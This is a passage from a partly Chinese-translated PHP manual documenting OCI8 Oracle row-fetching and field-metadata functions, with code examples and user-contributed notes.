var_dump($row);

// Output now contains both columns selected:
// array(2) {
// ["CTNM"]=>
// string(9) "Melbourne"
// ["NAME"]=>
// string(9) "Australia"
// }

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 oci_fetch_array() with DATE columns

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Set the date format for this connection.
// For performance reasons, consider changing the format
// in a trigger or with environment variables instead
$stid = oci_parse($conn, "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'");
oci_execute($stid);

$stid = oci_parse($conn, 'SELECT hire_date FROM employees WHERE employee_id = 188');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['HIRE_DATE'] . "<br>\n"; // prints 1997-06-14

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 oci_fetch_array() with REF CURSOR

<?php
/*
Create the PL/SQL stored procedure as:

CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
BEGIN
OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Execute the returned REF CURSOR and fetch from it like a statement identifier
oci_execute($refcur);
echo "<table border='1'>\n";
while (($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

Example #10 Pagination with oci_fetch_array() using a LIMIT-like query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Find the version of the database
preg_match('/Release ([0-9]+)\./', oci_server_version($conn), $matches);
$oracleversion = $matches[1];

// This is the query you want to "page" through
$sql = 'SELECT city, postal_code FROM locations ORDER BY city';

if ($oracleversion >= 12) {
// Make use of Oracle 12c OFFSET / FETCH NEXT syntax
$sql = $sql . ' OFFSET :offset ROWS FETCH NEXT :numrows ROWS ONLY';
} else {
// Older Oracle versions need a nested query selecting a subset
// from $sql. Or, if the SQL statement is known at development
// time, consider using a row_number() function instead of this
// nested solution. In production environments, be careful to
// avoid SQL Injection issues with concatenation.
$sql = "SELECT * FROM (SELECT a.*, ROWNUM AS my_rnum
FROM ($sql) a
WHERE ROWNUM <= :offset + :numrows)
WHERE my_rnum > :offset";
}

$offset = 0; // skip this many rows
$numrows = 5; // return 5 rows
$stid = oci_parse($conn, $sql);
oci_bind_by_name($stid, ':numrows', $numrows);
oci_bind_by_name($stid, ':offset', $offset);
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
echo $row['CITY'] . " " . $row['POSTAL_CODE'] . "<br>\n";
}

// Output is:
// Beijing 190518
// Bern 3095
// Bombay 490231
// Geneva 1730
// Hiroshima 6823

oci_free_statement($stid);
oci_close($conn);

?>

Example #11 oci_fetch_array() with Oracle Database Implicit Result Sets

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Requires OCI8 2.0 (or later) and Oracle Database 12c (or later)
// Also see oci_get_implicit_resultset()
$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Note: oci_fetch_all and oci_fetch() cannot be used in this manner
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

// Output is:
// Beijing 190518
// Bern 3095
// Bombay 490231
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

Associative array indices need to be in uppercase for standard Oracle columns that were created with case insensitive names.

Note:

查询返回巨大数量的数据行时，通过增大 oci8.default_prefetch 值或使用 oci_set_prefetch() 可显著提高性能。

Note:

The function oci_fetch_array() is insignificantly slower than oci_fetch_assoc() or oci_fetch_row(), but is more flexible.

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_fetch_all() - 从查询中读取多行到二维数组中
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - 设置查询预读取的行数

User Contributed Notes

Maxwell_Smart at ThePentagon dot com 09-Aug-2002 12:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
junk at netburp dot com 19-Oct-2000 02:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.


Returns the next row from a query as an associative array

  • ? oci_fetch_array
  • oci_fetch_object ?
  • PHP Manual
  • OCI8 函数
  • Returns the next row from a query as an associative array

oci_fetch_assoc

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_assoc — Returns the next row from a query as an associative array

说明

oci_fetch_assoc(resource $statement): array|false

Returns an associative array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns false, indicating no more rows exist.

Calling oci_fetch_assoc() is identical to calling oci_fetch_array() with OCI_ASSOC + OCI_RETURN_NULLS.

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

返回值

Returns an associative array. If there are no more rows in the statement then false is returned.

示例

Example #1 oci_fetch_assoc() Example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_assoc($stid)) != false) {
echo $row['DEPARTMENT_ID'] . " " . $row['DEPARTMENT_NAME'] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

See oci_fetch_array() for more examples of fetching rows.

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_fetch_all() - 从查询中读取多行到二维数组中
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

Dawid Krysiak 03-Jan-2014 01:31
Unlike oci_fetch_all(), after using oci_fetch_assoc(), LOB columns (CLOB, BLOB) are NOT returned as strings but as Oci-Lob objects. You have to use Oci-Lob->read() or load() method in order to read column content.
dbernhardt129 at gmail dot com 06-Oct-2010 02:11
Here's a simple example of using the oci_fetch_assoc function for anyone who would like to see it.

<?php
$oconn = oci_connect('ora_user','ora_pass','ora_inst');
if (!$oconn){
  $msg = "Cannot connect to Oracle ".oci_error();
} else {
  $msg = "Connected to Oracle";
}

$select_stmt = "select username from user_table";

$stid = oci_parse($oconn, $select_stmt);
oci_execute($stid);

echo "<table border='1'>\n";

while ($row = oci_fetch_assoc($stid)) {
    echo "<tr>\n";
    echo "<td>". $row["USERNAME"] . "</td>\n";
    echo "</tr>\n";
 }

echo "</table>\n";

oci_free_statement($stid);
oci_close($oconn);
?>

Make sure you capitalize the column name for referencing the item in the associative array.  Of course, this is just a simple example and you might want to do some processing on the data prior to output, but you get the idea here.


Returns the next row from a query as an object

  • ? oci_fetch_assoc
  • oci_fetch_row ?
  • PHP Manual
  • OCI8 函数
  • Returns the next row from a query as an object

oci_fetch_object

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_object — Returns the next row from a query as an object

说明

oci_fetch_object(resource $statement, int $mode = OCI_ASSOC | OCI_RETURN_NULLS): stdClass|false

Returns an object containing the next result-set row of a query. Each attribute of the object corresponds to a column of the row. This function is typically called in a loop until it returns false, indicating no more rows exist.

要获取 OCI8 扩展进行数据类型映射的细节，请参见驱动所支持的数据类型。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

返回值

Returns an object. Each attribute of the object corresponds to a column of the row. If there are no more rows in the statement then false is returned.

Any LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase attribute names. Case-sensitive column names will have attribute names using the exact column case. Use var_dump() on the result object to verify the appropriate case for attribute access.

Attribute values will be null for any NULL data fields.

示例

Example #1 oci_fetch_object() example

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, description VARCHAR2(30));
INSERT INTO mytab (id, description) values (1, 'Fish and Chips');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
// Use upper case attribute names for each standard Oracle column
echo $row->ID . "<br>\n";
echo $row->DESCRIPTION . "<br>\n";
}

// Output is:
// 1
// Fish and Chips

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_object() with case sensitive column names

<?php

/*
Before running, create the table with a case sensitive column name:
CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, "MyDescription" FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
// Use upper case attribute names for each standard Oracle column
echo $row->ID . "<br>\n";
// Use the exact case for the case sensitive column name
echo $row->MyDescription . "<br>\n";
}

// Output is:
// 1
// Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_object() with LOBs

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
echo $row->ID . "<br>\n";
// The following will output the first 11 bytes from DESCRIPTION
echo $row->DESCRIPTION->read(11) . "<br>\n";
}

// Output is:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_fetch_all() - 从查询中读取多行到二维数组中
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

juanloman at hilfetech dot com 08-May-2012 08:33
Please note that you can still reference a column that has a very complex name by using the curly syntax as shown in this example:

<?php

$queryStr = 'SELECT COUNT(*) FROM FOOBAR';  //Complex name!
  // parse and exec...
$queryObj = oci_fetch_object($quertStmt);

echo 'Count: ' . $queryObj->{'COUNT(*)'};  //Curly syntax reference

?>


Returns the next row from a query as a numeric array

  • ? oci_fetch_object
  • oci_fetch ?
  • PHP Manual
  • OCI8 函数
  • Returns the next row from a query as a numeric array

oci_fetch_row

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_row — Returns the next row from a query as a numeric array

说明

oci_fetch_row(resource $statement): array|false

Returns a numerically indexed array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns false, indicating no more rows exist.

Calling oci_fetch_row() is identical to calling oci_fetch_array() with OCI_NUM + OCI_RETURN_NULLS.

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

返回值

Returns a numerically indexed array. If there are no more rows in the statement then false is returned.

示例

Example #1 oci_fetch_row() Example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_row($stid)) != false) {
echo $row[0] . " " . $row[1] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

See oci_fetch_array() for more examples of fetching rows.

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_fetch_all() - 从查询中读取多行到二维数组中
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object

User Contributed Notes

There are no user contributed notes for this page.


从查询中读取下一行到内部缓冲区

  • ? oci_fetch_row
  • oci_field_is_null ?
  • PHP Manual
  • OCI8 函数
  • 从查询中读取下一行到内部缓冲区

oci_fetch

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch — 从查询中读取下一行到内部缓冲区

说明

oci_fetch(resource $statement): bool

从查询中读取下一行到内部缓冲区，可以使用 oci_result() 访问，也可以使用之前用 oci_define_by_name() 定义的变量访问。

有关读取数据的通用信息，请参阅 oci_fetch_array()。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

返回值

成功时返回 true，如果 statement 中没有更多行，则为 false。

示例

Example #1 oci_fetch() 与已定义的变量

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
echo "Location id $locid is $city<br>\n";
}

// Displays:
// Location id 1000 is Roma
// Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch() 和 oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
echo oci_result($stid, 'LOCATION_ID') . " is ";
echo oci_result($stid, 'CITY') . "<br>\n";
}

// Displays:
// 1000 is Roma
// 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

不会从 Oracle 数据库隐式结果集中返回行。请改用 oci_fetch_array()。

参见

  • oci_define_by_name() - 将 PHP 变量与查询读取的列相关联
  • oci_fetch_all() - 从查询中读取多行到二维数组中
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_result() - 返回所取得行中字段的值

User Contributed Notes

There are no user contributed notes for this page.


检测当前获取的行中，字段是否为 null

  • ? oci_fetch
  • oci_field_name ?
  • PHP Manual
  • OCI8 函数
  • 检测当前获取的行中，字段是否为 null

oci_field_is_null

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_is_null — 检测当前获取的行中，字段是否为 null

说明

oci_field_is_null(resource $statement, string|int $column): bool

检测 statement 的当前行中的指定 column 是否为 null。

参数

statement

有效的 OCI 语句标识符。

column

字段索引（从 1 开始）或者名称。

返回值

如果 column 是 null，返回 true，否则返回 false。

示例

Example #1 oci_field_name() 示例

<?php

// 创建表：
// CREATE TABLE mytab (c1 NUMBER);
// INSERT INTO mytab VALUES (1);
// INSERT INTO mytab VALUES (NULL);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_RETURN_NULLS)) != false) {
$ncols = oci_num_fields($stid);
for ($col = 1; $col <= $ncols; $col++) {
var_dump(oci_field_is_null($stid, $col));
}
}

// 输出：
// bool(false)
// bool(true)

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

Raju Joseph [RajuJoseph at usa dot net] 14-Sep-2003 07:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
    echo "Unable to connect: " . var_dump( OCIError() );
    die();
  }

// Select Data...

// DESC[RIBE] COMPANY

//   CompanyID          VARCHAR2(10)
//   CompanyName      VARCHAR2(30)
//   LastUserID           VARCHAR2(15)
//   LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

    print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

    print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>


返回 statement 中的字段名

  • ? oci_field_is_null
  • oci_field_precision ?
  • PHP Manual
  • OCI8 函数
  • 返回 statement 中的字段名

oci_field_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_name — 返回 statement 中的字段名

说明

oci_field_name(resource $statement, string|int $column): string|false

返回 column 的名称。

参数

statement

有效的 OCI 语句标识符。

column

字段索引（从 1 开始）或者名称。

返回值

返回字符串形式的名称， 或者在失败时返回 false

示例

Example #1 oci_field_name() 示例

<?php

// 创建表：
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "</tr>\n";
}

echo "</table>\n";

// 输出：
// Name Type
// NUMBER_COL NUMBER
// VARCHAR2_COL VARCHAR2
// CLOB_COL CLOB
// DATE_COL DATE

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_num_fields() - 返回语句中结果列的数量
  • oci_field_type() - 返回字段的数据类型名称
  • oci_field_size() - 返回字段大小

User Contributed Notes

Norbert 08-Jun-2011 01:50
This does not work for empty tables.
Paul 31-Jul-2010 06:25
Beware, the field index starts with 1, not 0. It's a bit counter-intuitive.


返回字段精度

  • ? oci_field_name
  • oci_field_scale ?
  • PHP Manual
  • OCI8 函数
  • 返回字段精度

oci_field_precision

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_precision — 返回字段精度

说明

oci_field_precision(resource $statement, string|int $column): int|false

返回 column 的精度。

对于 FLOAT 字段，精度不为零且小数位数为 -127。如果精度为 0，则字段为 NUMBER。其它类型为 NUMBER(precision, scale)。

参数

statement

有效的 OCI 语句标识符。

column

字段索引（从 1 开始）或者名称。

返回值

返回整数形式的精度， 或者在失败时返回 false

示例

Example #1 oci_field_precision() 示例

<?php

// 创建表：
// CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " "
. oci_field_precision($stid, $i) . " "
. oci_field_scale($stid, $i) . "<br>\n";
}

// 输出：
// C1 0 -127
// C2 126 -127
// C3 4 0
// C4 5 3

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_field_scale() - 返回字段范围
  • oci_field_type() - 返回字段的数据类型名称

User Contributed Notes

webmaster at smwebdesigns dot com 15-Oct-2007 05:58
I did not test well before posting previous code.  This if statement works and the other does not.

if( ocicolumnscale($R, $i ) != 129 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
webmaster at smwebdesigns dot com 11-Oct-2007 12:39
I've found that when using ocicolumnprecision or oci_field_precision it will not show you the decimal places if you are are reading from tables with decimals.  You can use ocicolumnscale or oci_field_scale to find the decimal.

if( ocicolumnscale($R, $i ) > 0 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}


返回字段范围

  • ? oci_field_precision
  • oci_field_size ?
  • PHP Manual
  • OCI8 函数
  • 返回字段范围

oci_field_scale

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_scale — 返回字段范围

说明

oci_field_scale(resource $statement, string|int $column): int|false

返回 column 列索引的范围。

对于 FLOAT 列，精度为非零且范围为 -127。如果精度为 0，则列为 NUMBER。否则为 NUMBER(precision, scale)。

参数

statement

有效的 OCI 语句标识符。

column

可以是字段的索引（从1开始），也可以是名称。

返回值

返回 int 类型的范围， 或者在失败时返回 false

示例

Example #1 oci_field_scale() 示例

<?php

// Create the table with:
// CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " "
. oci_field_precision($stid, $i) . " "
. oci_field_scale($stid, $i) . "<br>\n";
}

// Outputs:
// C1 0 -127
// C2 126 -127
// C3 4 0
// C4 5 3

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_field_precision() - 返回字段精度
  • oci_field_type() - 返回字段的数据类型名称

User Contributed Notes

VLroyrenn 20-Apr-2018 04:28
If you're converting SQL values to their respective float and int values based on scale and precision like I am, there's a catch, here.

This is a slimmed-down version of the conversion logic I'm using :

<?php
$col = [
    'id' => $field_id,
    'name' => oci_field_name($statement, $field_id),
    'type' => oci_field_type($statement, $field_id),
    'scale' => oci_field_scale($statement, $field_id);
    'precision' => oci_field_precision($statement, $field_id);
]

$str_data = oci_result($statement, $field_id)

switch($col['type']) {
    case 'NUMBER':
        if ($col['precision'] !== 0 && $col['scale'] === -127) {
            // A binary float
            $data = floatval($str_data);
        } else if($col['scale'] === 0) {
            // An integer
            $data = intval($str_data);
        } else {
            // A fixed-point decimal number, which has no equivalent in PHP, so float
            $data = floatval($str_data);
        }

        break;

    default:
        $data = $str_data;
        break;
}

echo("{$col['name']} : $str_data ({$col['type']} ({$col['precision']}, {$col['scale']})) -> $data\n");
?>

What the doc doesn't say is that any number column that was defined without a scale parameter counts as a plain NUMBER(), which always has a precision of 0 and a scale of -127, so they get interpreted as floats even when they should be integers.

What the doc also doesn't say is that __all analytics functions that return numbers return a plain NUMBER()__, so something like COUNT(*), RANK() or FIRST_VALUE(foo) is still going to net you a float.

Be careful with these if you have any type-sensitive code that relies on those values (I'm personally very fond of using type-hinting and strict_types = 1).


返回字段大小

  • ? oci_field_scale
  • oci_field_type_raw ?
  • PHP Manual
  • OCI8 函数
  • 返回字段大小

oci_field_size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_size — 返回字段大小

说明

oci_field_size(resource $statement, string|int $column): int|false

返回 column 的大小。

参数

statement

有效的 OCI 语句标识符。

column

可以是字段的索引（从1开始），也可以是名称。

返回值

以字节为单位返回 column 的大小， 或者在失败时返回 false

示例

Example #1 oci_field_size() 示例

<?php

// Create the table with:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);
$column_size = oci_field_size($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "<td>$column_size</td>";
echo "</tr>\n";
}

echo "</table>\n";

// Outputs:
// Name Type Length
// NUMBER_COL NUMBER 22
// VARCHAR2_COL VARCHAR2 1
// CLOB_COL CLOB 4000
// DATE_COL DATE 7

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_num_fields() - 返回语句中结果列的数量
  • oci_field_name() - 返回 statement 中的字段名

User Contributed Notes

rudi at darx dot com 16-Jul-2000 10:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.


返回字段的原始 Oracle 数据类型

  • ? oci_field_size
  • oci_field_type ?
  • PHP Manual
  • OCI8 函数
  • 返回字段的原始 Oracle 数据类型

oci_field_type_raw

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type_raw — 返回字段的原始 Oracle 数据类型

说明

oci_field_type_raw(resource $statement, string|int $column): int|false

返回 column 的 Oracle 原始"SQLT"数据类型。

如果想要字段的类型名称，然后使用 oci_field_type() 代替。

参数

statement

有效的 OCI 语句标识符。

column

可以是字段的索引（从1开始），也可以是名称。

返回值

返回数字类型的 Oracle 的原始数据类型， 或者在失败时返回 false

示例

Example #1 oci_field_type_raw() 示例

<?php

// Create the table with:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1), clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows
$n = oci_num_fields($stid);
for ($i = 1; $i <= $n; ++$i) {
echo oci_field_name($stid, $i) . " is raw type: " . oci_field_type_raw($stid, $i) . "<br>\n";
}

// Output is:
// NUMBER_COL is raw type: 2
// VARCHAR2_COL is raw type: 1
// CLOB_COL is raw type: 112
// DATE_COL is raw type: 12

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


返回字段的数据类型名称

  • ? oci_field_type_raw
  • oci_free_descriptor ?
  • PHP Manual
  • OCI8 函数
  • 返回字段的数据类型名称

oci_field_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type — 返回字段的数据类型名称

说明

oci_field_type(resource $statement, string|int $column): string|int|false

